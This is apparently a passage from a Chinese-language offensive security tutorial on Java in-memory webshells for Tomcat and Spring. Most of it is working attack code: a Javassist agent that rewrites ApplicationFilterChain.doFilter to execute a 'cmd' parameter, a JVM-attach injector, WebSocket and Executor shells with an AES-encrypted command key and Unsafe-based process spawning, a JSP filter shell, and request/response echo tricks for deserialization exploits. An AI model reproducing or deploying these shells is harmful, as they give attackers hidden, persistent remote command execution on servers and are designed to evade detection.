service:883, FrameworkServlet (org.springframework.web.servlet)
service:764, HttpServlet (javax.servlet.http)
internalDoFilter:227, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilter:53, WsFilter (org.apache.tomcat.websocket.server)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:100, RequestContextFilter (org.springframework.web.filter)
doFilter:117, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:93, FormContentFilter (org.springframework.web.filter)
doFilter:117, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:201, CharacterEncodingFilter (org.springframework.web.filter)
doFilter:117, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
...

可以看到会按照责任链机制反复调用 ApplicationFilterChain#doFilter() 方法

java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public void doFilter(ServletRequest request, ServletResponse response)
throws IOException, ServletException {

if( Globals.IS_SECURITY_ENABLED ) {
final ServletRequest req = request;
final ServletResponse res = response;
try {
java.security.AccessController.doPrivileged(
(java.security.PrivilegedExceptionAction<Void>) () -> {
internalDoFilter(req,res);
return null;
}
);
} ...
}
} else {
internalDoFilter(request,response);
}
}

跟到internalDoFilter()方法中

java
1
2
3
4
5
6
7
8
9
private void internalDoFilter(ServletRequest request,
ServletResponse response)
throws IOException, ServletException {

// Call the next filter if there is one
if (pos < n) {
...
}
}

以上两个方法均拥有ServletRequest和ServletResponse,并且hook不会影响正常的业务逻辑,因此很适合作为内存马的回显。下面我们尝试利用

利用Java Agent实现Spring Filter内存马

我们复用上面的agentmain-Agent,修改字节码的关键在于transformer()方法,因此我们重写该方法即可

java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
package com.java.agentmain.instrumentation.transformer;

import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class Filter_Transform implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
try {

//获取CtClass 对象的容器 ClassPool
ClassPool classPool = ClassPool.getDefault();

//添加额外的类搜索路径
if (classBeingRedefined != null) {
ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
classPool.insertClassPath(ccp);
}

//获取目标类
CtClass ctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain");

//获取目标方法
CtMethod ctMethod = ctClass.getDeclaredMethod("doFilter");

//设置方法体
String body = "{" +
"javax.servlet.http.HttpServletRequest request = $1\n;" +
"String cmd=request.getParameter(\"cmd\");\n" +
"if (cmd !=null){\n" +
" Runtime.getRuntime().exec(cmd);\n" +
" }"+
"}";
ctMethod.setBody(body);

//返回目标类字节码
byte[] bytes = ctClass.toBytecode();
return bytes;

}catch (Exception e){
e.printStackTrace();
}
return null;
}
}

Inject_Agent_Spring类如下

java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package com.java.inject;

import com.sun.tools.attach.*;

import java.io.IOException;
import java.util.List;

public class Inject_Agent_Spring {
public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
//调用VirtualMachine.list()获取正在运行的JVM列表
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for(VirtualMachineDescriptor vmd : list){

//遍历每一个正在运行的JVM,如果JVM名称为Sleep_Hello则连接该JVM并加载特定Agent
if(vmd.displayName().equals("com.example.java_agent_springboot.JavaAgentSpringBootApplication")){

//连接指定JVM
VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
//加载Agent
virtualMachine.loadAgent("out/artifacts/Java_Agent_jar/Java_Agent.jar");
//断开JVM连接
virtualMachine.detach();
}
// System.out.println(vmd.displayName());

}
}
}

启动一个简单的Spring Boot项目

运行 Inject_Agent_Spring 类,在doFilter方法中注入恶意代码,成功执行

这是个基础实现demo,未解决留下Jar包问题与防检测,不建议直接使用。

实现在Native层

看了rebeyond师傅的文章,后

首先Native层这部分常见一些本地服务和一些链接库等。这一层的一个特点就是通过C和C++语言实现。比如我们现在要执行一个复杂运算,如果通过java代码去实现,那么效率会非常低,此时可以选择通过C或C++代码去实现,然后和上层的Java代码通信(JNI机制)。

rebeyond师傅的整个分析过程非常的PWN,这里也是不在复述。

对上述实现的优化原文

第二篇是对第一篇的优化。

这里既然师傅打通了JAVA层到Native层,那么内存马实现只是其中一种,甚至可以直接把shellcode放进去,等等。

已实现在我自己的JYso中。

Socket 内存马

WebSocket是一种全双工通信协议,即客户端可以向服务端发送请求,服务端也可以主动向客户端推送数据。这样的特点,使得它在一些实时性要求比较高的场景效果斐然(比如微信朋友圈实时通知、在线协同编辑等)。主流浏览器以及一些常见服务端通信框架(Tomcat、netty、undertow、webLogic等)都对WebSocket进行了技术支持。

Endpoint内存马(Tomcat 7.0.47+)

看了veo师傅的文章之后写的马,已过测试。

java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
public class Endpoint implements Filter {

public Session session;

static {
try {
String filterName = "nu1r" + System.nanoTime();
String urlPattern = "/nu1r";

Class clazz = Thread.currentThread().getClass();
java.lang.reflect.Field field = clazz.getDeclaredField("wsThreadLocals");
field.setAccessible(true);
Object obj = field.get(Thread.currentThread());

Object[] obj_arr = (Object[]) obj;
for (int j = 0; j < obj_arr.length; j++) {
Object o = obj_arr[j];
if (o == null) continue;

if (o.getClass().getName().endsWith("WebContainerRequestState")) {
Object request = o.getClass().getMethod("getCurrentThreadsIExtendedRequest", new Class[0]).invoke(o, new Object[0]);
Object servletContext = request.getClass().getMethod("getServletContext", new Class[0]).invoke(request, new Object[0]);

field = servletContext.getClass().getDeclaredField("context");
field.setAccessible(true);
Object context = field.get(servletContext);

field = context.getClass().getSuperclass().getDeclaredField("config");
field.setAccessible(true);
Object webAppConfiguration = field.get(context);

Method method = null;
Method[] methods = webAppConfiguration.getClass().getMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals("getFilterMappings")) {
method = methods[i];
break;
}
}
List filerMappings = (List) method.invoke(webAppConfiguration, new Object[0]);

boolean flag = false;
for (int i = 0; i < filerMappings.size(); i++) {
Object filterConfig = filerMappings.get(i).getClass().getMethod("getFilterConfig", new Class[0]).invoke(filerMappings.get(i), new Object[0]);
String name = (String) filterConfig.getClass().getMethod("getFilterName", new Class[0]).invoke(filterConfig, new Object[0]);
if (name.equals(filterName)) {
flag = true;
break;
}
}

//如果已存在同名的 Filter,就不在添加,防止重复添加
if (!flag) {
Filter filter = new WSFMSFromThread();

Object filterConfig = context.getClass().getMethod("createFilterConfig", new Class[]{String.class}).invoke(context, new Object[]{filterName});
filterConfig.getClass().getMethod("setFilter", new Class[]{Filter.class}).invoke(filterConfig, new Object[]{filter});

method = null;
methods = webAppConfiguration.getClass().getMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals("addFilterInfo")) {
method = methods[i];
break;
}
}
method.invoke(webAppConfiguration, new Object[]{filterConfig});

field = filterConfig.getClass().getSuperclass().getDeclaredField("context");
field.setAccessible(true);
Object original = field.get(filterConfig);

//设置为null,从而 addMappingForUrlPatterns 流程中不会抛出异常
field.set(filterConfig, null);

method = filterConfig.getClass().getDeclaredMethod("addMappingForUrlPatterns", new Class[]{EnumSet.class, boolean.class, String[].class});
method.invoke(filterConfig, new Object[]{EnumSet.of(DispatcherType.REQUEST), true, new String[]{urlPattern}});

//addMappingForUrlPatterns 流程走完,再将其设置为原来的值
field.set(filterConfig, original);

method = null;
methods = webAppConfiguration.getClass().getMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals("getUriFilterMappings")) {
method = methods[i];
break;
}
}

//这里的目的是为了将我们添加的动态 Filter 放到第一位
List uriFilterMappingInfos = (List) method.invoke(webAppConfiguration, new Object[0]);
uriFilterMappingInfos.add(0, filerMappings.get(filerMappings.size() - 1));
}

break;
}
}
} catch (Exception e) {
e.printStackTrace();
}
}

@Override
public void init(FilterConfig filterConfig) throws ServletException {
}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {

}

@Override
public void destroy() {
}
}

Executor内存马(Tomcat 8.5+)

实际上这也是WebSocket内存马,只是方法重写的点不一样。

根据深蓝师傅的研究成果

师傅在文中讲解已经很详细了,这里就不在复述,但是这个阶段的Executor内存马存在多次getRequest的问题,细想一下,这很不安全!因为服务器同时接受很多⽤户的请求,突然那天你发个恶意请求,有个普通⽤户莫名其妙收到/etc/passwd⽂件的内容,这有点尴尬了。

深蓝师傅对此的解决办法是,NioSocketWrapper父类SocketWrapperBase中,有一个方法名为unRead,原文

我根据深蓝师傅的文章,所以有了以下代码

java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
public class Executor extends Endpoint implements MessageHandler.Whole<String> {
public static final String DEFAULT_SECRET_KEY = "nu1r";
private static final String AES = "AES";
private static final byte[] KEY_VI = "nu1r".getBytes();
private static final String CIPHER_ALGORITHM = "AES/CBC/PKCS5Padding";
private static java.util.Base64.Decoder base64Decoder = java.util.Base64.getDecoder();

static {
String wsName = "/nu1r";
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
ServerEndpointConfig build = ServerEndpointConfig.Builder.create(TWSMSFromThread.class, wsName).build();
WsServerContainer attribute = (WsServerContainer) standardContext.getServletContext().getAttribute(ServerContainer.class.getName());
try {
attribute.addEndpoint(build);
standardContext.getServletContext().setAttribute(wsName, wsName);
} catch (DeploymentException e) {
throw new RuntimeException(e);
}
}

public Session session;

public void onMessage(String message) {
String cmd = getRequest();
if (cmd.length() > 1) {
getResponse(execCmd(cmd).toByteArray());
}
this.execute($1, Long.parseLong("0"), java.util.concurrent.TimeUnit.MILLISECONDS);
}


@Override
public void onOpen(Session session, EndpointConfig config) {
this.session = session;
session.addMessageHandler(this);
}

public static String decode(String key, String content) {
try {
javax.crypto.SecretKey secretKey = new javax.crypto.spec.SecretKeySpec(key.getBytes(), AES);
javax.crypto.Cipher cipher = javax.crypto.Cipher.getInstance(CIPHER_ALGORITHM);
cipher.init(javax.crypto.Cipher.DECRYPT_MODE, secretKey, new javax.crypto.spec.IvParameterSpec(KEY_VI));

byte[] byteContent = base64Decoder.decode(content);
byte[] byteDecode = cipher.doFinal(byteContent);
return new String(byteDecode, java.nio.charset.StandardCharsets.UTF_8);
} catch (Exception e) {
e.printStackTrace();
}
return null;
}


public static byte[] toCString(String s) {
if (s == null)
return null;
byte[] bytes = s.getBytes();
byte[] result = new byte[bytes.length + 1];
System.arraycopy(bytes, 0,
result, 0,
bytes.length);
result[result.length - 1] = (byte) 0;
return result;
}

public static java.lang.reflect.Method getMethodByClass(Class cs, String methodName, Class[] parameters) {
java.lang.reflect.Method method = null;
while (cs != null) {
try {
method = cs.getDeclaredMethod(methodName, parameters);
method.setAccessible(true);
cs = null;
} catch (Exception e) {
cs = cs.getSuperclass();
}
}
return method;
}

public static Object getMethodAndInvoke(Object obj, String methodName, Class[] parameterClass, Object[] parameters) {
try {
java.lang.reflect.Method method = getMethodByClass(obj.getClass(), methodName, parameterClass);
if (method != null)
return method.invoke(obj, parameters);
} catch (Exception ignored) {
}
return null;
}

public static Object getFieldValue(Object obj, String fieldName) throws Exception {
java.lang.reflect.Field f = null;
if (obj instanceof java.lang.reflect.Field) {
f = (java.lang.reflect.Field) obj;
} else {
Class cs = obj.getClass();
while (cs != null) {
try {
f = cs.getDeclaredField(fieldName);
cs = null;
} catch (Exception e) {
cs = cs.getSuperclass();
}
}
}
f.setAccessible(true);
return f.get(obj);
}

public static java.io.ByteArrayOutputStream execCmd(String cmd) {
try {
if (cmd != null && !cmd.isEmpty()) {
String[] cmds = null;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
cmds = new String[]{"cmd", "/c", cmd};
} else {
cmds = new String[]{"/bin/bash", "-c", cmd};
}

java.lang.reflect.Field theUnsafeField = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");
theUnsafeField.setAccessible(true);
sun.misc.Unsafe unsafe = (sun.misc.Unsafe) theUnsafeField.get(null);

Class processClass = null;

try {
processClass = Class.forName("java.lang.UNIXProcess");
} catch (ClassNotFoundException e) {
processClass = Class.forName("java.lang.ProcessImpl");
}

Object processObject = unsafe.allocateInstance(processClass);

byte[][] args = new byte[cmds.length - 1][];
int size = args.length;

for (int i = 0; i < args.length; i++) {
args[i] = cmds[i + 1].getBytes();
size += args[i].length;
}

byte[] argBlock = new byte[size];
int i = 0;

for (int i1 = 0; i1 < args.length; i1++) {
System.arraycopy(args[i1], 0, argBlock, i, args[i1].length);
i += args[i1].length + 1;
}

int[] std_fds = new int[]{-1, -1, -1};
Object launchMechanismObject = getFieldValue(processObject, "launchMechanism");
byte[] helperpathObject = (byte[]) getFieldValue(processObject, "helperpath");
int ordinal = java.lang.Integer.parseInt(getMethodAndInvoke(launchMechanismObject, "ordinal", null, null).toString());
getMethodAndInvoke(processObject, "forkAndExec",
new Class[]{int.class, byte[].class, byte[].class, byte[].class, int.class, byte[].class, int.class, byte[].class, int[].class, boolean.class},
new Object[]{Integer.valueOf(ordinal + 1), helperpathObject, toCString(cmds[0]), argBlock, Integer.valueOf(args.length), null, Integer.valueOf(1), null, std_fds, java.lang.Boolean.FALSE});

getMethodAndInvoke(processObject, "initStreams", new Class[]{int[].class}, new Object[]{std_fds});
java.io.InputStream in = (java.io.InputStream) getMethodAndInvoke(processObject, "getInputStream", null, null);
java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();
int a = 0;
byte[] b = new byte[1024];

while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}

return baos;
}
} catch (Exception ignored) {
}

return null;
}

public String getRequest() {
try {
Thread[] threads = (Thread[]) ((Thread[]) getFieldValue(Thread.currentThread().getThreadGroup(), "threads"));

for (Thread thread : threads) {
if (thread != null) {
String threadName = thread.getName();
if (threadName.contains("Poller")) {
Object target = getFieldValue(thread, "target");
if (target instanceof Runnable) {
try {
byte[] bytes = new byte[8192];
ByteBuffer buf = ByteBuffer.wrap(bytes);
try {
LinkedList linkedList = (LinkedList) getFieldValue(getFieldValue(getFieldValue(target, "selector"), "kqueueWrapper"), "updateList");
for (Object obj : linkedList) {
try {
SelectionKey[] selectionKeys = (SelectionKey[]) getFieldValue(getFieldValue(obj, "channel"), "keys");

for (Object tmp : selectionKeys) {
try {
NioEndpoint.NioSocketWrapper nioSocketWrapper = (NioEndpoint.NioSocketWrapper) getFieldValue(tmp, "attachment");
try {
nioSocketWrapper.read(false, buf);
String a = new String(buf.array(), "UTF-8");
if (a.indexOf("nu1r") > -1) {
System.out.println(a.indexOf("nu1r"));
System.out.println(a.indexOf("\r", a.indexOf("nu1r")));
String b = a.substring(a.indexOf("nu1r") + "nu1r".length() + 2, a.indexOf("\r", a.indexOf("nu1r")));
b = decode(DEFAULT_SECRET_KEY, b);
buf.position(0);
nioSocketWrapper.unRead(buf);
System.out.println(b);
System.out.println(new String(buf.array(), "UTF-8"));
return b;
}
else{
buf.position(0);
nioSocketWrapper.unRead(buf);
continue;
}
} catch (Exception e) {
nioSocketWrapper.unRead(buf);
}
} catch (Exception e) {
continue;
}
}
} catch (Exception e) {
continue;
}
}
} catch (Exception var11) {
System.out.println(var11);
continue;
}

} catch (Exception ignored) {
}
}

}
if (threadName.contains("exec")) {
return new String();
} else {
continue;
}
}
}

return new String();
}

public void getResponse(byte[] res) {
try {
Thread[] threads = (Thread[]) ((Thread[]) getFieldValue(Thread.currentThread().getThreadGroup(), "threads"));

for (int i = 0; i < threads.length; i++) {
Thread thread = threads[i];
if (thread != null) {
String threadName = thread.getName();
if (!threadName.contains("exec") && threadName.contains("Acceptor")) {
Object target = getFieldValue(thread, "target");
if (target instanceof Runnable) {
try {
java.util.ArrayList objects = (java.util.ArrayList) getFieldValue(getFieldValue(getFieldValue(getFieldValue(target, "this$0"), "handler"), "global"), "processors");

for (int j = 0; j < objects.size(); j++) {
org.apache.coyote.RequestInfo request = (org.apache.coyote.RequestInfo) objects.get(j);
org.apache.coyote.Response response = (org.apache.coyote.Response) getFieldValue(getFieldValue(request, "req"), "response");
response.addHeader("Server-token", base64Encode(res));
}
} catch (Exception ignored) {
}
}
}
}
}
} catch (Exception ignored) {
}
}
}

poller内存马(Tomcat 8.5-)

深蓝师傅研究成果的延伸,由kd师傅提出,解决了Tomcat8.5之前版本的socket内存马问题。

两者都存在一个问题:socket上的读缓存区需要回写,原因很简单,你需要读取请求并且分析请求中是否有Key来执行,即需要一个标识区别攻击者和正常用户。问题来了,读缓存区一旦读取,那么正常情况下是无法将数据放回去的,这就导致读缓冲区一旦read之后,如果是正常用户的请求,你此刻已经无法回写数据了,那么当HttpRequest做封装时,已经没有数据了,导致业务受到严重的影响。

幸好,tomcat8.5.0以后,在tomcat封装的socket支持unread的数据回写,

但是tomcat8.5.0之前版本就需要新的解决办法,Socket毒化(稳定)

每次请求都在缓存加上本次通信的socket(IP+端口),表明缓存的数据是由那个socket发起的,接着每当我们读readbuf的数据时,我们可以得到两个信息:第一,这个包存不存命令执行的口令,第二,这个包是哪个socket发出的。这样哪怕缓存的请求被用户发出,但是socket记录已经表明了谁发起的,此时自然匹配不到用户的socket。需要注意的是,毒化对象不可以是IP,因为如果遇到反向代理的情况,你毒化的可是整个nginx服务。至于什么时候需要删除毒化表中的数据,其实很简单,tomcat的监听是使用Selector做事件监听的,当有事件来时,Selector负责收集事件的类型,然后提交给业务处理,当业务处理时,程序会注销本次的事件,避免Selector反复提交相同事件。这里我们就不注销事件,让socket反复读数据,这样一旦客户端关闭,服务端sokcet在读的时候一定会报错抛出,在处理异常时,我们直接删除对应毒化表中的数据即可。

Nginx反向代理问题

通过图片可以看到,所有的事情都是建立在socket连接不中断的基础之上进行。但是在nginx反向代理中默认是采用端口轮询的形式进行通信,即第一次代理端口用22222,第二次就是22223…这样显然无法让socket毒化成功。所以,致命性很大。但是大部分nginx配置也都会加上keep-alive的支持。只能说有点看命的节奏。

实现逻辑

Poller内存马的逻辑还是比较简单,你只要继承tomcat本身的NioEndpoint.Poller,然后重写processKey方法即可,如果需要处理业务,就自己操作socket,如果放行业务,就直接把socket交给父类processKey实现即可。

内存马回显技术

所谓回显,其实就是获取命令执行的结果,这种技术常用于目标机器不出网,无法反弹shell的情况。对于Java的中间件来讲,其关键就是获取request和response对象。

回显示例

这里我们以上文提到的Tomcat Filter内存马为例,获取对应的回显,关键代码如下

java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<%! public class Shell_Filter implements Filter {
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
response.setContentType("text/html; charset=UTF-8");
PrintWriter writer = response.getWriter();
if (cmd != null) {
try {
InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();

//将命令执行结果写入扫描器并读取所有输入
Scanner scanner = new Scanner(in).useDelimiter("\\A");
String result = scanner.hasNext()?scanner.next():"";
scanner.close();
writer.write(result);
writer.flush();
writer.close();
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
chain.doFilter(request, response);
}
}
%>

上述方式我们是通过JSP文件来注入内存马的。由于JSP中内置了一些关键对象,所以我们能够很容易地获得Request和Response对象,并能通过他们来获取目标JVM的上下文Context。那如果我们要通过反序列化漏洞来注入内存马,又如何获取到目标JVM的request和response对象呢?

ThreadLocal Response回显

思路来自于 kingkk师傅

首先要注意的是,我们寻找的request对象应该是一个和当前线程ThreadLocal有关的对象,而不是一个全局变量。这样才能获取到当前线程的相关信息。最终我们能够在 org.apache.catalina.core.ApplicationFilterChain 类中找到这样两个变量 lastServicedRequest 和 lastServicedResponse 。并且这两个属性还是静态的,我们获取时无需实例化对象。

在我们熟悉的 ApplicationFilterChain#internalDoFilter 中,Tomcat会将request对象和response对象存储到这两个变量中

虽然此时的 ApplicationDispatcher.WRAP_SAME_OBJECT 为 false ,但是我们后续可以通过反射修改。

可以总结思路如下

  1. 反射修改 ApplicationDispatcher.WRAP_SAME_OBJECT 的值,通过 ThreadLocal#set 方法将request和response对象存储到变量中
  2. 初始化 lastServicedRequest 和 lastServicedResponse 两个变量,默认为null
  3. 通过 ThreadLocal#get 方法将 request 和 response 对象从 lastServicedRequest 和 lastServicedResponse 中取出

反射存储request和response

java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//反射获取所需属性
Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");

//使用modifiersField反射修改final型变量
java.lang.reflect.Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
WRAP_SAME_OBJECT_FIELD.setAccessible(true);
lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true);

//将变量WRAP_SAME_OBJECT_FIELD设置为true
if (!WRAP_SAME_OBJECT_FIELD.getBoolean(null)){
WRAP_SAME_OBJECT_FIELD.setBoolean(null,true);
}

初始化变量

由于变量在Tomcat初始化运行的时候会被设置为null,因此我们还需要初始化lastServicedRequest和lastServicedResponse变量为ThreadLocal类

java
1
2
3
4
5
6
7
if (lastServicedRequestField.get(null)==null){
lastServicedRequestField.set(null, new ThreadLocal<>());
}

if (lastServicedResponseField.get(null)==null){
lastServicedResponseField.set(null, new ThreadLocal<>());
}

获取request变量

java
1
2
3
4
5
6
if(lastServicedRequestField.get(null)!=null){
ThreadLocal threadLocal = (ThreadLocal) lastServicedRequestField.get(null);
ServletRequest servletRequest = (ServletRequest) threadLocal.get();
System.out.println(servletRequest);
System.out.println((HttpServletRequest) servletRequest == req);
}

下面我们通过一个简单的demo看看效果,编写一个简单的Servlet

java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
import org.apache.catalina.core.ApplicationFilterChain;

import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;

@WebServlet("/echo")
public class Tomcat_Echo extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {

try {

//反射获取所需属性
Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");

//使用modifiersField反射修改final型变量
java.lang.reflect.Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
WRAP_SAME_OBJECT_FIELD.setAccessible(true);
lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true);

//将变量WRAP_SAME_OBJECT_FIELD设置为true,并初始化lastServicedRequest和lastServicedResponse变量
if (!WRAP_SAME_OBJECT_FIELD.getBoolean(null)){
WRAP_SAME_OBJECT_FIELD.setBoolean(null,true);
}

if (lastServicedRequestField.get(null)==null){
lastServicedRequestField.set(null, new ThreadLocal<>());
}

if (lastServicedResponseField.get(null)==null){
lastServicedResponseField.set(null, new ThreadLocal<>());
}

//获取request变量
if(lastServicedRequestField.get(null)!=null){
ThreadLocal threadLocal = (ThreadLocal) lastServicedRequestField.get(null);
ServletRequest servletRequest = (ServletRequest) threadLocal.get();
System.out.println(servletRequest);
System.out.println((HttpServletRequest) servletRequest == req);
}

//获取response变量
if(lastServicedResponseField.get(null)!=null){
ThreadLocal threadLocal = (ThreadLocal) lastServicedResponseField.get(null);
ServletResponse servletResponse = (ServletResponse) threadLocal.get();
System.out.println(servletResponse);
System.out.println((HttpServletResponse) servletResponse == resp);
}

} catch (NoSuchFieldException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
}
}
}

局限性

如果漏洞在ApplicationFilterChain获取回显Response代码之前,那么就无法获取到Tomcat Response进行回显。如Shiro RememberMe反序列化漏洞,因为Shiro的RememberMe功能实际上就是一个自定义的Filter。我们知道在ApplicationFilterChain#internalDoFilter方法中,doFilter方法实际上是在我们获取response之前的。因此在Shiro漏洞环境下我们无法通过这种方式获得回显。

java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
private void internalDoFilter(ServletRequest request,
ServletResponse response)
throws IOException, ServletException {

// Call the next filter if there is one
if (pos < n) {
ApplicationFilterConfig filterConfig = filters[pos++];
try {
...
} else {

//Shiro漏洞触发点
filter.doFilter(request, response, this);
}
...

// We fell off the end of the chain -- call the servlet instance
try {

//response回显触发点
if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
lastServicedRequest.set(request);
lastServicedResponse.set(response);
}
...
} else {
servlet.service(request, response);
}
}
...
}

通过全局存储Response回显

思路来自于 Litch1师傅

Servlet容器是Java Web的核心,因此很多框架对于该容器都进行了一定程度的封装。不同框架、同一框架的不同版本的实现都有可能不同,因此我们很难找到一种通用的获取回显的方法。

比如我们上文通过ThreadLocal类来获取回显的方式就无法适用于Shiro框架下,那么我们能不能换一种思路,寻找Tomcat中全局存储的Request和Response呢?

但我们知道想要获取回显,request和response对象必须是属于当前线程的,因此通过全局存储获取回显的关键就在于找到当前代码运行的上下文和Tomcat运行上下文的联系。

寻找全局Response

首先我们先来寻找一下Tomcat中的一些全局Response。在 AbstractProcessor 类中,我们能够找到全局response。

调用栈分析

我们来分析一下Tomcat的调用栈

java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
doGet:25, Tomcat_Echo
service:655, HttpServlet (javax.servlet.http)
service:764, HttpServlet (javax.servlet.http)
internalDoFilter:227, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
...
service:357, CoyoteAdapter (org.apache.catalina.connector)
service:382, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:895, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1722, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
